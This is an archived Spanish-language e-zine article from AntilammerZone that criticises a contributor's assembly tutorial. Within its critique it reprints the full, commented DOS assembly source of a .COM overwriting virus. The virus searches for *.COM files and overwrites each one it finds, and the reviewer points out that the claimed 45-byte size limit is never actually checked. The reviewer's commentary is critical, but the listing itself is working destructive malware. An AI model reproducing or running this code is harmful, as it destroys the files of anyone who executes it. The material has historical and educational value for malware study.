Copy Link
Add to Bookmark
Report

7 S_K (C) NH community 2000 Dept. de VIRII... Como copiar a DaN

eZine's profile picture
Published in 
AntilammerZone
 · 1 year ago

[estaba leyendo la DP3, que me parecia mas que buena con respecto a otras que ya aparecieron en AZ y no tenia falta alguna hasta que...]

Daemon's Paradise 3, Articulo 3 en File 3x03.txt.
CURSO DE ASM (1ª entrega)
por S_K - s-k@bigfoot.com

[... a ver a ver ... del articulo en si no voy a opinar, cada quien explica a su forma y a su antojo lo que quiera. Peeeeero al llegar a la firma...]

Un saludo de S_K.

byez aLL

(C) NH community 2000
Dept. de VIRII

[... Dept. de VIRII !!!! ... es muuuuy copiado de Digital Anarchy ... comprendo que lo bueno queda y persiste, pero S_K, se un poco mas original ...]

[no es solo eso, por eso solo no habria de hacer un articulo, se ve que como anexo, metio dos 'virus', que el primero un com overwriter y el segundo un com infector usando appending method, que no estaria mal, sino fuera porque el overwriter, no esta presentado asi]

; Infecta archivos .COM menores o iguales a 45 bytes 
;by S_K

[dejemos de lado el by S_K, que puede ser que el mismo lo haya hecho, porque es una gilada total, pero lean atentamente, infecta archivos com menores o iguales a 45 bytes... vean el codigo]

comienzo:

                     mov ah,4eh                ;funcion buscar archivo 
mov dx,offset tipo ;puntero dirigido a tipo

buscarabrir:

                     int 21h 
jc final ;si no encuentra archivo finaliza programa
;(bit de acarreo en 1), si lo encuentra continua (bit de acarreo en 0)

mov ax,3d02 ;funcion abrir archivo
mov dx,9eh ;selecciona los datos DTA del archivo encontrado
int 21h
jc cerrar ;si ya esta infectado cierra archivo (bit de
; acarreo en 1) y busca otro, si no esta infectado (bit de acarreo en 0) continua

xchg bx,ax ;mete los datos del registro AX en BX para
; que no los muestre al final del programa en la ventana del mismo

mov ah,40h ;funcion de copiar codigo
mov cl,longitud ;indica en el registro del contador la
; memoria que ocupa el virus
mov dx,offset comienzo ;puntero indicando desde donde se debe copiar
int 21h

cerrar:

                     mov ah,3eh                       ;funcion cerrar archivo 
int 21h

mov ah,4fh ;funcion buscar otro archivo
jmp buscarabrir ;salta a buscarabrir para iniciar la
; busqueda de un nuevo archivo

final:

                     int 20h                             ;sale al dos 

tipo db '*.COM',0 ;tipo de ficheros a buscar e infectar

theend:

longitud         equ offset theend - offset comienzo   ;indica la memoria que ocupa el virus

[donde chequea la longitud del archivo a infectar??? S_K, lo que hiciste es digno de publicarse aqui, en az, pues si un newbie, que es a quien le dirijes el articulo, compila y ejecuta este file sobreescribira todos los .com en el directorio actual y eso sin saberlo. Fue muy lammer de tu parte, no se que querias lograr con ello, quizas hacerte el muy malito, no se. Espero que recapacites. Y recuerda que solo has hablado en tu articulo de asm, sobre un poco de funciones, y nada mas, osea que ningun newbie que lea eso podra entender lo que escribiste en esos 'viruses' y menos si le dices que solo infectara archivos de 45 bytes como maximo y luego en los comentarios ni siquiera camuflas algo, que seria aun mas lammer, pero al menos tendrias estilo.]

Vaselin; "comprate un tarro porque aca llegue yo"

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT